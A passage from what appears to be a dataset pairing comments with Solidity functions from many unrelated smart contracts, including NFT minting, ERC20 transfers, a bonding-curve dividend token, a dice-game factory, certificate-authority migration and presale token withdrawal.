maxMintsOg, 'Not a wiggle world OG');\n genesisOg[msg.sender] = genesisOg[msg.sender] - maxMintsOg;\n } else {\n require(freeWhitelist[msg.sender] >= maxMintsOg, 'Not a wiggle world OG');\n freeWhitelist[msg.sender] = freeWhitelist[msg.sender] - maxMintsOg;\n }\n _safeMint(msg.sender, maxMintsOg);\n }", "version": "0.8.4"} {"comment": "// Mint function for whitelist sale\n// Requires minimum ETH value of unitPrice * quantity\n// Caller MUST be whitelisted to use this function!", "function_code": "function paidWhitelistMint(uint256 quantity) external payable isWallet enoughSupply(quantity) {\n require(paidWhitelistEnabled, 'Whitelist sale not enabled');\n require(msg.value >= quantity * unitPrice, 'Not enough ETH');\n if (isGenesis) {\n require(genesisWhitelist[msg.sender] >= quantity, 'No whitelist mints left');\n genesisWhitelist[msg.sender] = genesisWhitelist[msg.sender] - quantity;\n } else {\n require(paidWhitelist[msg.sender] >= quantity, 'No whitelist mints left');\n paidWhitelist[msg.sender] = paidWhitelist[msg.sender] - quantity;\n }\n _safeMint(msg.sender, quantity);\n refundIfOver(quantity * unitPrice);\n }", "version": "0.8.4"} {"comment": "// Mint function for public sale\n// Requires minimum ETH value of unitPrice * quantity", "function_code": "function publicMint(uint256 quantity) external payable isWallet enoughSupply(quantity) {\n require(publicMintEnabled, 'Minting not enabled');\n require(quantity <= maxMints, 'Illegal quantity');\n require(numberMinted(msg.sender) + quantity <= maxMints, 'Cant mint that many');\n require(msg.value >= quantity * unitPrice, 'Not enough ETH');\n _safeMint(msg.sender, quantity);\n refundIfOver(quantity * unitPrice);\n }", "version": "0.8.4"} {"comment": "// Mint function for developers (owner)\n// Mints a maximum of 20 NFTs to the recipient\n// Used for devs, marketing, friends, family\n// Capped at 55 mints total", "function_code": "function devMint(uint256 quantity, address recipient)\n external\n onlyOwner\n enoughSupply(quantity)\n {\n if (isGenesis) {\n require(remainingDevSupply - quantity >= genesisDevCutoff, 'No dev supply (genesis)');\n } else {\n require(remainingDevSupply - quantity >= 0, 'Not enough dev supply');\n }\n require(quantity <= maxMints, 'Illegal quantity');\n require(numberMinted(recipient) + quantity <= maxMints, 'Cant mint that many (dev)');\n remainingDevSupply = remainingDevSupply - quantity;\n _safeMint(recipient, quantity);\n }", "version": "0.8.4"} {"comment": "// Returns the correct URI for the given tokenId based on contract state", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n require(_exists(tokenId), 'Nonexistent token');\n if (\n (tokenId < genesisCollectionSize && genesisRevealed == false) ||\n (tokenId >= genesisCollectionSize && revealed == false)\n ) {\n return\n bytes(notRevealedURI).length > 0\n ? string(\n abi.encodePacked(\n notRevealedURI,\n Strings.toString(tokenId % numBackgrounds),\n baseExtension\n )\n )\n : '';\n }\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, Strings.toString(tokenId), baseExtension))\n : '';\n }", "version": "0.8.4"} {"comment": "// Update relevant mint format variables.\n// Should only be called once,\n// To change price between genesis and second mint.", "function_code": "function updateMintFormat(\n uint256 _ogSlots,\n uint256 _ogWlSlots,\n uint256 _wlSlots,\n uint256 _maxMints,\n uint256 _numBackgrounds\n ) external onlyOwner {\n maxMintsOg = _ogSlots;\n ogWlMints = _ogWlSlots;\n maxMintsWhitelist = _wlSlots;\n maxMints = _maxMints;\n numBackgrounds = _numBackgrounds;\n }", "version": "0.8.4"} {"comment": "// Set the mint state", "function_code": "function setMintState(uint256 _state) external onlyOwner {\n if (_state == 1) {\n freeWhitelistEnabled = true;\n } else if (_state == 2) {\n paidWhitelistEnabled = true;\n } else if (_state == 3) {\n publicMintEnabled = true;\n } else {\n freeWhitelistEnabled = false;\n paidWhitelistEnabled = false;\n publicMintEnabled = false;\n }\n }", "version": "0.8.4"} {"comment": "// Seed the appropriate whitelist", "function_code": "function setWhitelist(address[] calldata addrs, bool isOG) external onlyOwner {\n if (isOG) {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (isGenesis) {\n genesisOg[addrs[i]] = maxMintsOg;\n genesisWhitelist[addrs[i]] = ogWlMints;\n } else {\n freeWhitelist[addrs[i]] = maxMintsOg;\n paidWhitelist[addrs[i]] = ogWlMints;\n }\n }\n } else {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (isGenesis) {\n genesisWhitelist[addrs[i]] = maxMintsWhitelist;\n } else {\n paidWhitelist[addrs[i]] = maxMintsWhitelist;\n }\n }\n }\n }", "version": "0.8.4"} {"comment": "/*\r\n Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.\r\n param _spender The address which will spend the funds.\r\n param _value The amount of Roman Lanskoj's tokens to be spent.\r\n */", "function_code": "function approve(address _spender, uint256 _value) returns (bool) {\r\n \r\n // To change the approve amount you first have to reduce the addresses`\r\n // allowance to zero by calling `approve(_spender, 0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require((_value == 0) || (allowed[msg.sender][_spender] == 0));\r\n \r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Transfer `_amount` from `_caller` to `_to`.\r\n *\r\n * @param _caller Origin address\r\n * @param _to Address that will receive.\r\n * @param _amount Amount to be transferred.\r\n */", "function_code": "function transfer(address _caller, address _to, uint256 _amount) onlyAsset returns (bool success) {\r\n assert(allowTransactions);\r\n assert(!frozenAccount[_caller]);\r\n assert(balanceOf[_caller] >= _amount);\r\n assert(balanceOf[_to] + _amount >= balanceOf[_to]);\r\n activateAccount(_caller);\r\n activateAccount(_to);\r\n balanceOf[_caller] -= _amount;\r\n if (_to == address(this)) treasuryBalance += _amount;\r\n else {\r\n uint256 fee = feeFor(_caller, _to, _amount);\r\n balanceOf[_to] += _amount - fee;\r\n treasuryBalance += fee;\r\n }\r\n Transfer(_caller, _to, _amount);\r\n return true;\r\n }", "version": "0.3.6"} {"comment": "/// @notice Calculate atomic number for a given tokenId and token hash\n/// @dev The reason it needs both is that atomic number is partially based on tokenId.\n/// @param _tokenId The tokenId of the Atom\n/// @param _hash Hash of Atom\n/// @return Atomic number of the given Atom", "function_code": "function calculateAtomicNumber(uint _tokenId, bytes32 _hash, uint generation) private pure returns(uint){\r\n if(_tokenId == 1) return 0;\r\n\r\n bytes32 divisor = 0x0000000001000000000000000000000000000000000000000000000000000000;\r\n uint salt = uint(_hash)/uint(divisor);\r\n\r\n uint max;\r\n if(generation >= 13){\r\n max = 118;\r\n }else if(generation >= 11){\r\n max = 86;\r\n }else if(generation >= 9){\r\n max = 54;\r\n }else if(generation >= 7){\r\n max = 36;\r\n }else if(generation >= 5){\r\n max = 18;\r\n }else if(generation >= 3){\r\n max = 10;\r\n }else if(generation >= 1){\r\n max = 2;\r\n }\r\n\r\n uint gg;\r\n if(generation >= 8){\r\n gg = 2;\r\n }else{\r\n gg = 1;\r\n }\r\n\r\n\r\n uint decimal = 10000000000000000;\r\n uint divisor2 = uint(0xFFFFFFFFFF);\r\n\r\n\r\n uint unrounded = max * decimal * (salt ** gg) / (divisor2 ** gg);\r\n uint rounded = ceil(\r\n unrounded,\r\n decimal\r\n );\r\n return rounded/decimal;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice Transfer `_amount` from `_from` to `_to`, invoked by `_caller`.\r\n *\r\n * @param _caller Invoker of the call (owner of the allowance)\r\n * @param _from Origin address\r\n * @param _to Address that will receive\r\n * @param _amount Amount to be transferred.\r\n * @return result of the method call\r\n */", "function_code": "function transferFrom(address _caller, address _from, address _to, uint256 _amount) onlyAsset returns (bool success) {\r\n assert(allowTransactions);\r\n assert(!frozenAccount[_caller]);\r\n assert(!frozenAccount[_from]);\r\n assert(balanceOf[_from] >= _amount);\r\n assert(balanceOf[_to] + _amount >= balanceOf[_to]);\r\n assert(_amount <= allowance[_from][_caller]);\r\n balanceOf[_from] -= _amount;\r\n uint256 fee = feeFor(_from, _to, _amount);\r\n balanceOf[_to] += _amount - fee;\r\n treasuryBalance += fee;\r\n allowance[_from][_caller] -= _amount;\r\n activateAccount(_from);\r\n activateAccount(_to);\r\n activateAccount(_caller);\r\n Transfer(_from, _to, _amount);\r\n return true;\r\n }", "version": "0.3.6"} {"comment": "/**\n * @dev Moves tokens `_amount` from `_sender` to `_recipient`.\n * In case `_recipient` is a redeem address it also Burns `_amount` of tokens from `_recipient`.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - {userRegistry.canTransferFrom} should not revert\n */", "function_code": "function transferFrom(\n address _sender,\n address _recipient,\n uint256 _amount\n ) public override returns (bool) {\n userRegistry.canTransferFrom(_msgSender(), _sender, _recipient);\n\n super.transferFrom(_sender, _recipient, _amount);\n\n if (userRegistry.isRedeemFrom(_msgSender(), _sender, _recipient)) {\n _redeem(_recipient, _amount);\n }\n\n return true;\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice Approve Approves spender `_spender` to transfer `_amount` from `_caller`\r\n *\r\n * @param _caller Address that grants the allowance\r\n * @param _spender Address that receives the cheque\r\n * @param _amount Amount on the cheque\r\n * @param _extraData Consequential contract to be executed by spender in same transcation.\r\n * @return result of the method call\r\n */", "function_code": "function approveAndCall(address _caller, address _spender, uint256 _amount, bytes _extraData) onlyAsset returns (bool success) {\r\n assert(allowTransactions);\r\n assert(!frozenAccount[_caller]);\r\n allowance[_caller][_spender] = _amount;\r\n activateAccount(_caller);\r\n activateAccount(_spender);\r\n activateAllowanceRecord(_caller, _spender);\r\n TokenRecipient spender = TokenRecipient(_spender);\r\n assert(Relay(assetAddress).relayReceiveApproval(_caller, _spender, _amount, _extraData));\r\n Approval(_caller, _spender, _amount);\r\n return true;\r\n }", "version": "0.3.6"} {"comment": "// get minimal proxy creation code", "function_code": "function minimalProxyCreationCode(address logic) internal pure returns (bytes memory) {\r\n bytes10 creation = 0x3d602d80600a3d3981f3;\r\n bytes10 prefix = 0x363d3d373d3d3d363d73;\r\n bytes20 targetBytes = bytes20(logic);\r\n bytes15 suffix = 0x5af43d82803e903d91602b57fd5bf3;\r\n return abi.encodePacked(creation, prefix, targetBytes, suffix);\r\n }", "version": "0.7.3"} {"comment": "// Allow the owner to easily create the default dice games", "function_code": "function createDefaultGames() public\r\n {\r\n require(allGames.length == 0);\r\n \r\n addNewStakeDiceGame(500); // 5% chance\r\n addNewStakeDiceGame(1000); // 10% chance\r\n addNewStakeDiceGame(1500); // 15% chance\r\n addNewStakeDiceGame(2000); // 20% chance\r\n addNewStakeDiceGame(2500); // 25% chance\r\n addNewStakeDiceGame(3000); // 30% chance\r\n addNewStakeDiceGame(3500); // 35% chance\r\n addNewStakeDiceGame(4000); // 40% chance\r\n addNewStakeDiceGame(4500); // 45% chance\r\n addNewStakeDiceGame(5000); // 50% chance\r\n addNewStakeDiceGame(5500); // 55% chance\r\n addNewStakeDiceGame(6000); // 60% chance\r\n addNewStakeDiceGame(6500); // 65% chance\r\n addNewStakeDiceGame(7000); // 70% chance\r\n addNewStakeDiceGame(7500); // 75% chance\r\n addNewStakeDiceGame(8000); // 80% chance\r\n addNewStakeDiceGame(8500); // 85% chance\r\n addNewStakeDiceGame(9000); // 90% chance\r\n addNewStakeDiceGame(9500); // 95% chance\r\n }", "version": "0.4.24"} {"comment": "// Allow the owner to add new games with different winning chances", "function_code": "function addNewStakeDiceGame(uint256 _winningChance) public\r\n {\r\n require(msg.sender == owner);\r\n \r\n // Deploy a new StakeDiceGame contract\r\n StakeDiceGame newGame = new StakeDiceGame(this, _winningChance);\r\n \r\n // Store the fact that this new address is a StakeDiceGame contract\r\n addressIsStakeDiceGameContract[newGame] = true;\r\n allGames.push(newGame);\r\n }", "version": "0.4.24"} {"comment": "/*\r\n * @dev Buy tokens from incoming funds\r\n */", "function_code": "function buy(address referrer) public payable {\r\n\r\n // apply fee\r\n (uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value);\r\n require(fee_funds != 0, \"Incoming funds is too small\");\r\n\r\n // update user's referrer\r\n // - you cannot be a referrer for yourself\r\n // - user and his referrer will be together all the life\r\n UserRecord storage user = user_data[msg.sender];\r\n if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) {\r\n user.referrer = referrer;\r\n }\r\n\r\n // apply referral bonus\r\n if (user.referrer != 0x0) {\r\n fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value);\r\n require(fee_funds != 0, \"Incoming funds is too small\");\r\n }\r\n\r\n // calculate amount of tokens and change price\r\n (uint tokens, uint _price) = fundsToTokens(taxed_funds);\r\n require(tokens != 0, \"Incoming funds is too small\");\r\n price = _price;\r\n\r\n // mint tokens and increase shared profit\r\n mintTokens(msg.sender, tokens);\r\n shared_profit = shared_profit.add(fee_funds);\r\n\r\n emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Sell given amount of tokens and get funds\r\n */", "function_code": "function sell(uint tokens) public onlyValidTokenAmount(tokens) {\r\n\r\n // calculate amount of funds and change price\r\n (uint funds, uint _price) = tokensToFunds(tokens);\r\n require(funds != 0, \"Insufficient tokens to do that\");\r\n price = _price;\r\n\r\n // apply fee\r\n (uint fee_funds, uint taxed_funds) = fee_selling.split(funds);\r\n require(fee_funds != 0, \"Insufficient tokens to do that\");\r\n\r\n // burn tokens and add funds to user's dividends\r\n burnTokens(msg.sender, tokens);\r\n UserRecord storage user = user_data[msg.sender];\r\n user.gained_funds = user.gained_funds.add(taxed_funds);\r\n\r\n // increase shared profit\r\n shared_profit = shared_profit.add(fee_funds);\r\n\r\n emit Selling(msg.sender, tokens, funds, price / precision_factor, now);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Transfer given amount of tokens from sender to another user\r\n * ERC20\r\n */", "function_code": "function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) {\r\n\r\n require(to_addr != msg.sender, \"You cannot transfer tokens to yourself\");\r\n\r\n // apply fee\r\n (uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens);\r\n require(fee_tokens != 0, \"Insufficient tokens to do that\");\r\n\r\n // calculate amount of funds and change price\r\n (uint funds, uint _price) = tokensToFunds(fee_tokens);\r\n require(funds != 0, \"Insufficient tokens to do that\");\r\n price = _price;\r\n\r\n // burn and mint tokens excluding fee\r\n burnTokens(msg.sender, tokens);\r\n mintTokens(to_addr, taxed_tokens);\r\n\r\n // increase shared profit\r\n shared_profit = shared_profit.add(funds);\r\n\r\n emit Transfer(msg.sender, to_addr, tokens);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Reinvest all dividends\r\n */", "function_code": "function reinvest() public {\r\n\r\n // get all dividends\r\n uint funds = dividendsOf(msg.sender);\r\n require(funds > 0, \"You have no dividends\");\r\n\r\n // make correction, dividents will be 0 after that\r\n UserRecord storage user = user_data[msg.sender];\r\n user.funds_correction = user.funds_correction.add(int(funds));\r\n\r\n // apply fee\r\n (uint fee_funds, uint taxed_funds) = fee_purchase.split(funds);\r\n require(fee_funds != 0, \"Insufficient dividends to do that\");\r\n\r\n // apply referral bonus\r\n if (user.referrer != 0x0) {\r\n fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds);\r\n require(fee_funds != 0, \"Insufficient dividends to do that\");\r\n }\r\n\r\n // calculate amount of tokens and change price\r\n (uint tokens, uint _price) = fundsToTokens(taxed_funds);\r\n require(tokens != 0, \"Insufficient dividends to do that\");\r\n price = _price;\r\n\r\n // mint tokens and increase shared profit\r\n mintTokens(msg.sender, tokens);\r\n shared_profit = shared_profit.add(fee_funds);\r\n\r\n emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Withdraw all dividends\r\n */", "function_code": "function withdraw() public {\r\n\r\n // get all dividends\r\n uint funds = dividendsOf(msg.sender);\r\n require(funds > 0, \"You have no dividends\");\r\n\r\n // make correction, dividents will be 0 after that\r\n UserRecord storage user = user_data[msg.sender];\r\n user.funds_correction = user.funds_correction.add(int(funds));\r\n\r\n // send funds\r\n msg.sender.transfer(funds);\r\n\r\n emit Withdrawal(msg.sender, funds, now);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Amount of user's dividends\r\n */", "function_code": "function dividendsOf(address addr) public view returns (uint) {\r\n\r\n UserRecord memory user = user_data[addr];\r\n\r\n // gained funds from selling tokens + bonus funds from referrals\r\n // int because \"user.funds_correction\" can be negative\r\n int d = int(user.gained_funds.add(user.ref_funds));\r\n require(d >= 0);\r\n\r\n // avoid zero divizion\r\n if (total_supply > 0) {\r\n // profit is proportional to stake\r\n d = d.add(int(shared_profit.mul(user.tokens) / total_supply));\r\n }\r\n\r\n // correction\r\n // d -= user.funds_correction\r\n if (user.funds_correction > 0) {\r\n d = d.sub(user.funds_correction);\r\n }\r\n else if (user.funds_correction < 0) {\r\n d = d.add(-user.funds_correction);\r\n }\r\n\r\n // just in case\r\n require(d >= 0);\r\n\r\n // total sum must be positive uint\r\n return uint(d);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Amount of tokens can be gained from given amount of funds\r\n */", "function_code": "function expectedTokens(uint funds, bool apply_fee) public view returns (uint) {\r\n if (funds == 0) {\r\n return 0;\r\n }\r\n if (apply_fee) {\r\n (,uint _funds) = fee_purchase.split(funds);\r\n funds = _funds;\r\n }\r\n (uint tokens,) = fundsToTokens(funds);\r\n return tokens;\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Mint given amount of tokens to given user\r\n */", "function_code": "function mintTokens(address addr, uint tokens) internal {\r\n\r\n UserRecord storage user = user_data[addr];\r\n\r\n bool not_first_minting = total_supply > 0;\r\n\r\n // make correction to keep dividends the rest of the users\r\n if (not_first_minting) {\r\n shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply;\r\n }\r\n\r\n // add tokens\r\n total_supply = total_supply.add(tokens);\r\n user.tokens = user.tokens.add(tokens);\r\n\r\n // make correction to keep dividends of user\r\n if (not_first_minting) {\r\n user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Burn given amout of tokens from given user\r\n */", "function_code": "function burnTokens(address addr, uint tokens) internal {\r\n\r\n UserRecord storage user = user_data[addr];\r\n\r\n // keep current dividents of user if last tokens will be burned\r\n uint dividends_from_tokens = 0;\r\n if (total_supply == tokens) {\r\n dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply;\r\n }\r\n\r\n // make correction to keep dividends the rest of the users\r\n shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply;\r\n\r\n // sub tokens\r\n total_supply = total_supply.sub(tokens);\r\n user.tokens = user.tokens.sub(tokens);\r\n\r\n // make correction to keep dividends of the user\r\n // if burned not last tokens\r\n if (total_supply > 0) {\r\n user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply));\r\n }\r\n // if burned last tokens\r\n else if (dividends_from_tokens != 0) {\r\n user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Rewards the referrer from given amount of funds\r\n */", "function_code": "function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) {\r\n UserRecord storage referrer = user_data[referrer_addr];\r\n if (referrer.tokens >= minimal_stake) {\r\n (uint reward_funds, uint taxed_funds) = fee_referral.split(funds);\r\n referrer.ref_funds = referrer.ref_funds.add(reward_funds);\r\n emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now);\r\n return taxed_funds;\r\n }\r\n else {\r\n return funds;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Calculate tokens from funds\r\n *\r\n * Given:\r\n * a[1] = price\r\n * d = price_offset\r\n * sum(n) = funds\r\n * Here is used arithmetic progression's equation transformed to a quadratic equation:\r\n * a * n^2 + b * n + c = 0\r\n * Where:\r\n * a = d\r\n * b = 2 * a[1] - d\r\n * c = -2 * sum(n)\r\n * Solve it and first root is what we need - amount of tokens\r\n * So:\r\n * tokens = n\r\n * price = a[n+1]\r\n *\r\n * For details see method below\r\n */", "function_code": "function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) {\r\n uint b = price.mul(2).sub(price_offset);\r\n uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor));\r\n uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2);\r\n uint anp1 = price.add(price_offset.mul(n) / precision_factor);\r\n return (n, anp1);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Calculate funds from tokens\r\n *\r\n * Given:\r\n * a[1] = sell_price\r\n * d = price_offset\r\n * n = tokens\r\n * Here is used arithmetic progression's equation (-d because of d must be negative to reduce price):\r\n * a[n] = a[1] - d * (n - 1)\r\n * sum(n) = (a[1] + a[n]) * n / 2\r\n * So:\r\n * funds = sum(n)\r\n * price = a[n]\r\n *\r\n * For details see method above\r\n */", "function_code": "function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) {\r\n uint sell_price = price.sub(price_offset);\r\n uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor);\r\n uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2);\r\n return (sn / precision_factor, an);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Multiplies two numbers\r\n */", "function_code": "function mul(uint a, uint b) internal pure returns (uint) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint c = a * b;\r\n require(c / a == b, \"mul failed\");\r\n return c;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Gives square root from number\r\n */", "function_code": "function sqrt(uint x) internal pure returns (uint y) {\r\n uint z = add(x, 1) / 2;\r\n y = x;\r\n while (z < y) {\r\n y = z;\r\n z = add(x / z, z) / 2;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Splits given value to two parts: tax itself and taxed value\r\n */", "function_code": "function split(fee memory f, uint value) internal pure returns (uint tax, uint taxed_value) {\r\n if (value == 0) {\r\n return (0, 0);\r\n }\r\n tax = value.mul(f.num) / f.den;\r\n taxed_value = value.sub(tax);\r\n }", "version": "0.4.25"} {"comment": "/* Gets 1-f^t where: f < 1\n \n f: issuance factor that determines the shape of the curve\n t: time passed since last LQTY issuance event */", "function_code": "function _getCumulativeIssuanceFraction() internal view returns (uint) {\n // Get the time passed since deployment\n uint timePassedInMinutes = block.timestamp.sub(deploymentTime).div(SECONDS_IN_ONE_MINUTE);\n\n // f^t\n uint power = LiquityMath._decPow(ISSUANCE_FACTOR, timePassedInMinutes);\n\n // (1 - f^t)\n uint cumulativeIssuanceFraction = (uint(DECIMAL_PRECISION).sub(power));\n assert(cumulativeIssuanceFraction <= DECIMAL_PRECISION); // must be in range [0,1]\n\n return cumulativeIssuanceFraction;\n }", "version": "0.6.11"} {"comment": "/// @notice Used by Certifying Authorities to change their wallet (in case of theft).\n/// Migrating prevents any new certificate registrations signed by the old wallet.\n/// Already registered certificates would be valid.\n/// @param _newAuthorityAddress Next wallet address of the same certifying authority", "function_code": "function migrateCertifyingAuthority(\n address _newAuthorityAddress\n ) public onlyAuthorisedCertifier {\n require(\n certifyingAuthorities[_newAuthorityAddress].status == AuthorityStatus.NotAuthorised\n , 'cannot migrate to an already authorised address'\n );\n\n certifyingAuthorities[msg.sender].status = AuthorityStatus.Migrated;\n emit AuthorityStatusUpdated(msg.sender, AuthorityStatus.Migrated);\n\n certifyingAuthorities[_newAuthorityAddress] = CertifyingAuthority({\n data: certifyingAuthorities[msg.sender].data,\n status: AuthorityStatus.Authorised\n });\n emit AuthorityStatusUpdated(_newAuthorityAddress, AuthorityStatus.Authorised);\n\n emit AuthorityMigrated(msg.sender, _newAuthorityAddress);\n }", "version": "0.6.2"} {"comment": "/// @notice Used to check whether an address exists in packed addresses bytes\n/// @param _signer Address of the signer wallet\n/// @param _packedSigners Bytes string of addressed packed together\n/// @return boolean value which means if _signer doesnot exist in _packedSigners bytes string", "function_code": "function _checkUniqueSigner(\n address _signer,\n bytes memory _packedSigners\n ) private pure returns (bool){\n if(_packedSigners.length == 0) return true;\n\n require(_packedSigners.length % 20 == 0, 'invalid packed signers length');\n\n address _tempSigner;\n /// @notice loop through every packed signer and check if signer exists in the packed signers\n for(uint256 i = 0; i < _packedSigners.length; i += 20) {\n assembly {\n _tempSigner := mload(add(_packedSigners, add(0x14, i)))\n }\n if(_tempSigner == _signer) return false;\n }\n\n return true;\n }", "version": "0.6.2"} {"comment": "/// @notice Used to get a number's utf8 representation\n/// @param i Integer\n/// @return utf8 representation of i", "function_code": "function _getBytesStr(uint i) private pure returns (bytes memory) {\n if (i == 0) {\n return \"0\";\n }\n uint j = i;\n uint len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bstr = new bytes(len);\n uint k = len - 1;\n while (i != 0) {\n bstr[k--] = byte(uint8(48 + i % 10));\n i /= 10;\n }\n return bstr;\n }", "version": "0.6.2"} {"comment": "/* Send coins from the caller's account */", "function_code": "function transfer(address _to, uint256 _value) public {\r\n\t\tif (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead \r\n\t\tif (_value <= 0) throw;\r\n\t\tif (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough\r\n\t\tif (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows \r\n\t\tbalanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n\t\tbalanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient\r\n\t\tTransfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n\t}", "version": "0.4.8"} {"comment": "/* Send coins from an account that previously approved this caller to do so */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n\t\tif (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead\r\n\t\tif (_value <= 0) throw;\r\n\t\tif (balanceOf[_from] < _value) throw; // Check if the sender has enough \r\n\t\tif (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows\r\n\t\tif (_value > allowance[_from][msg.sender]) throw; // Check allowance \r\n\t\tbalanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender\r\n\t\tbalanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient\r\n\t\tallowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); \r\n\t\tTransfer(_from, _to, _value); // emit event\r\n\t\treturn true;\r\n\t}", "version": "0.4.8"} {"comment": "/* Permanently delete some number of coins that are in the caller's account */", "function_code": "function burn(uint256 _value) public returns (bool success) {\r\n\t\tif (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough\r\n\t\tif (_value <= 0) throw;\r\n\t\tbalanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n\t\ttotalSupply = SafeMath.safeSub(totalSupply,_value); // Reduce the total supply too\r\n\t\tBurn(msg.sender, _value); // emit event\r\n\t\treturn true;\r\n\t}", "version": "0.4.8"} {"comment": "/* Make some of the caller's coins temporarily unavailable */", "function_code": "function freeze(uint256 _value) public returns (bool success) {\r\n\t\tif (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough\r\n\t\tif (_value <= 0) throw;\r\n\t\tbalanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n\t\tfreezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Add to sender's frozen balance\r\n\t\tFreeze(msg.sender, _value); // emit event\r\n\t\treturn true;\r\n\t}", "version": "0.4.8"} {"comment": "/* Frozen coins can be made available again by unfreezing them */", "function_code": "function unfreeze(uint256 _value) public returns (bool success) {\r\n\t\tif (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough\r\n\t\tif (_value <= 0) throw;\r\n\t\tfreezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from sender's frozen balance\r\n\t\tbalanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); // Add to the sender\r\n\t\tUnfreeze(msg.sender, _value); // emit event\r\n\t\treturn true; \r\n\t}", "version": "0.4.8"} {"comment": "/*\r\n Attempt to purchase the tokens from the token contract.\r\n This must be done before the sale ends\r\n \r\n */", "function_code": "function buyTokens() external onlyWhenRefundsNotEnabled onlyWhenTokensNotPurchased onlyOwner {\r\n require(this.balance >= totalPresale);\r\n\r\n tokenContract.buyTokens.value(this.balance)();\r\n //Get the exchange rate the contract will got for the purchase. Used to distribute tokens\r\n //The number of token subunits per eth\r\n tokenExchangeRate = tokenContract.getCurrentPrice(this);\r\n \r\n tokensPurchased = true;\r\n\r\n LogTokenPurchase(totalPresale, tokenContract.tokenSaleBalanceOf(this));\r\n }", "version": "0.4.18"} {"comment": "/*\r\n Transfer an accounts token entitlement to itself.\r\n This can only be called if the tokens have been purchased by the contract and have been withdrawn by the contract.\r\n */", "function_code": "function withdrawTokens() external onlyWhenSyndicateTokensWithdrawn {\r\n uint256 tokens = SafeMath.div(SafeMath.mul(presaleBalances[msg.sender], tokenExchangeRate), 1 ether);\r\n assert(tokens > 0);\r\n\r\n totalPresale = SafeMath.sub(totalPresale, presaleBalances[msg.sender]);\r\n presaleBalances[msg.sender] = 0;\r\n\r\n /*\r\n Attempt to transfer tokens to msg.sender.\r\n Note: we are relying on the token contract to return a success bool (true for success). If this\r\n bool is not implemented as expected it may be possible for an account to withdraw more tokens than\r\n it is entitled to.\r\n */\r\n 